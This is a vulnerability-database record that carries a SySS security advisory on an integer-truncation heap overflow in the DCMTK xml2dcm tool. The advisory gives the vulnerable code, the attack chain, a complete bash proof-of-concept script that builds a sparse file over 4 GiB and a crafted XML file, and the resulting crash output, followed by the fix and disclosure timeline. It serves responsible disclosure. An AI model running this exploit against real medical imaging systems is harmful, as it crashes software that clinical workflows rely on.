GCVE-1988-2026-0025
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Dicom | DICOM Toolkit |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "DICOM Toolkit",
"vendor": "Dicom",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-048\nProduct: DCMTK (DICOM ToolKit)\nManufacturer: OFFIS e.V. / DCMTK Community\nAffected Version(s): 3.7.0\nTested Version(s): 3.7.0\nVulnerability Type: Integer Overflow or Wraparound (CWE-190)\nRisk Level: High\nSolution Status: Fixed\nManufacturer Notification: 2026-07-02\nSolution Date: 2026-07-03\nPublic Disclosure: 2026-07-31\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nThe xml2dcm application and the DcmXMLReader library are vulnerable to\na heap buffer overflow when importing external binary files larger than\n4 GiB via the binary=\"file\" XML attribute. The file size is measured as\nsize_t but narrowed to Uint32 for the heap allocation, while the full\nsize_t length is used as the fread() read size.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmXMLReader::createBinaryElementFromFile() in\nlibdcxml/xml2dcm.cc (lines 311-330) imports external binary files\nreferenced by binary=\"file\" in XML:\n\n const size_t fileSize = OFStandard::getFileSize(filename);\n size_t buflen = fileSize;\n if (buflen \u0026 1)\n buflen++;\n\n if (dcmEVR == EVR_OW)\n result = element-\u003ecreateUint16Array(\n OFstatic_cast(Uint32, buflen / 2), buf16);\n else\n result = element-\u003ecreateUint8Array(\n OFstatic_cast(Uint32, buflen), buf);\n\n if (fread(buf, 1, OFstatic_cast(size_t, fileSize), f) != fileSize) ...\n\nThe file size is measured as size_t, narrowed to Uint32 for allocation,\nand then used as the full size_t read length.\n\nThe attack chain is as follows:\n\n 1. The attacker creates a file larger than 4 GiB (e.g. 4294967297 bytes).\n\n 2. The attacker crafts a DICOM XML with binary=\"file\" referencing the\n large file.\n\n 3. xml2dcm reads the file size as size_t (4294967297).\n\n 4. createUint8Array() allocates only the low 32 bits (2 bytes).\n\n 5. fread() writes 4294967297 bytes into the 2-byte buffer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following exploit script creates a sparse 4294967297-byte file and\na DICOM XML referencing it as Pixel Data (OB binary=\"file\"), and then runs\nxml2dcm:\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n#\n# XML binary=\"file\" Length Truncation -\u003e Heap Buffer Overflow\n# Proof of concept exploit for SYSS-2026-048\n#\n# xml2dcm measures file size as size_t, narrows to Uint32 for allocation,\n# then uses full size_t for fread \u2014 causing heap overflow for files \u003e 4 GiB.\n#\n# A sparse file of 4 GiB + 1 byte takes 0 bytes of disk space.\n# fileSize = 4294967297 (0x100000001)\n# buflen = 4294967298 (odd, rounded up)\n\n#\n\nset -euo pipefail\n\nXML2DCM=\"xml2dcm\"\nWORKDIR=\"/tmp/h4_poc_$$\"\nSPARSE_SIZE=4294967297 # 4 GiB + 1 byte\n\necho \"=== PoC: XML binary=\\\"file\\\" Length Truncation -\u003e Heap Overflow ===\"\necho \"\"\necho \"Vulnerability: xml2dcm.cc:311-330\"\necho \" size_t fileSize = OFStandard::getFileSize(filename); // 64-bit\"\n\necho \"\"\necho \"Configuration:\"\n\necho \" Allocation: Uint32($SPARSE_SIZE) = 2 bytes (truncated!)\"\necho \" fread length: $SPARSE_SIZE bytes (full size_t)\"\necho \" xml2dcm: $XML2DCM\"\necho \"\"\n\nmkdir -p \"$WORKDIR\"\n\n# Step 1: Create sparse file\nSPARSE_FILE=\"$WORKDIR/large.bin\"\necho \"[*] Creating sparse file of $SPARSE_SIZE bytes (0 bytes on disk)...\"\ntruncate -s \"$SPARSE_SIZE\" \"$SPARSE_FILE\"\necho \"[+] Sparse file: $SPARSE_FILE\"\nls -lh \"$SPARSE_FILE\"\n\n# Step 2: Create XML referencing the sparse file\nXML_FILE=\"$WORKDIR/exploit.xml\"\necho \"\"\necho \"[*] Creating XML file with binary=\\\"file\\\" reference...\"\ncat \u003e \"$XML_FILE\" \u003c\u003c XMLEOF\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cfile-format xmlns=\"http://dicom.offis.de/dcmtk\";\u003e\n\n\u003cdata-set xfer=\"1.2.840.10008.1.2\"\u003e\n \u003celement tag=\"0008,0016\" vr=\"UI\"\u003e1.2.840.10008.1.2\u003c/element\u003e\n \u003celement tag=\"0008,0018\" vr=\"UI\"\u003e1.2.3.4.5.6.7.8.9\u003c/element\u003e\n \u003celement tag=\"7FE0,0010\" vr=\"OB\" binary=\"file\"\u003e$SPARSE_FILE\u003c/element\u003e\n\u003c/data-set\u003e\n\u003c/file-format\u003e\nXMLEOF\necho \"[+] XML file: $XML_FILE\"\n\n# Step 3: Run xml2dcm\nOUTPUT_FILE=\"$WORKDIR/output.dcm\"\necho \"\"\necho \"[*] Running xml2dcm...\"\necho \"\"\n\n\n\necho \"---\"\necho \"Result:\"\necho \" Exit code: $EXIT_CODE\"\necho \" Output:\"\necho \"$OUTPUT\"\necho \"\"\n\n# Clean up\nrm -rf \"$WORKDIR\"\n\nif [ $EXIT_CODE -ne 0 ]; then\n echo \"[+] SUCCESS: xml2dcm crashed with exit code $EXIT_CODE\"\n echo \" The 4 GiB + 1 byte sparse file was allocated as 2 bytes\"\n echo \" and fread wrote 4 GiB into it, corrupting the heap.\"\nelse\n echo \"[-] FAIL: xml2dcm did not crash.\"\nfi\n\necho \"\"\necho \"=== PoC complete ===\"\nEOPOC\n\nThe exploit causes xml2dcm to abort with \"malloc(): invalid size\n(unsorted)\" (SIGABRT), confirming the truncated allocation and heap\ncorruption.\n\n=== PoC: XML binary=\"file\" Length Truncation -\u003e Heap Overflow ===\n\nVulnerability: xml2dcm.cc:311-330\n size_t fileSize = OFStandard::getFileSize(filename); // 64-bit\n\n\nConfiguration:\n\n Allocation: Uint32(4294967297) = 2 bytes (truncated!)\n fread length: 4294967297 bytes (full size_t)\n xml2dcm: xml2dcm\n\n[*] Creating sparse file of 4294967297 bytes (0 bytes on disk)...\n[+] Sparse file: /tmp/h4_poc_50290/large.bin\n- -rw-r--r-- 1 matt matt 4.1G Jun 30 17:44 /tmp/h4_poc_50290/large.bin\n\n[*] Creating XML file with binary=\"file\" reference...\n[+] XML file: /tmp/h4_poc_50290/exploit.xml\n\n[*] Running xml2dcm...\n\n- ---\nResult:\n Exit code: 134\n Output:\nmalloc(): invalid size (unsorted)\n\n[+] SUCCESS: xml2dcm crashed with exit code 134\n The 4 GiB + 1 byte sparse file was allocated as 2 bytes\n and fread wrote 4 GiB into it, corrupting the heap.\n\n=== PoC complete ===\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\nebeafd016bcef34021111550cc2a644129d89825 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-048\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-190",
"description": "CWE-190",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/26"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/26"
},
{
"url": "http://dicom.offis.de/dcmtk\""
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://dcmtk.org/en/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/26"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-048]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0025",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/26",
"automated": true,
"contentSha256": "ee9c7aaeb0a622baca4c79dcf96a3e99ddcb8c8751d3d72450f17f8f448e4df8",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/26",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-31T08:00:42Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0025"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.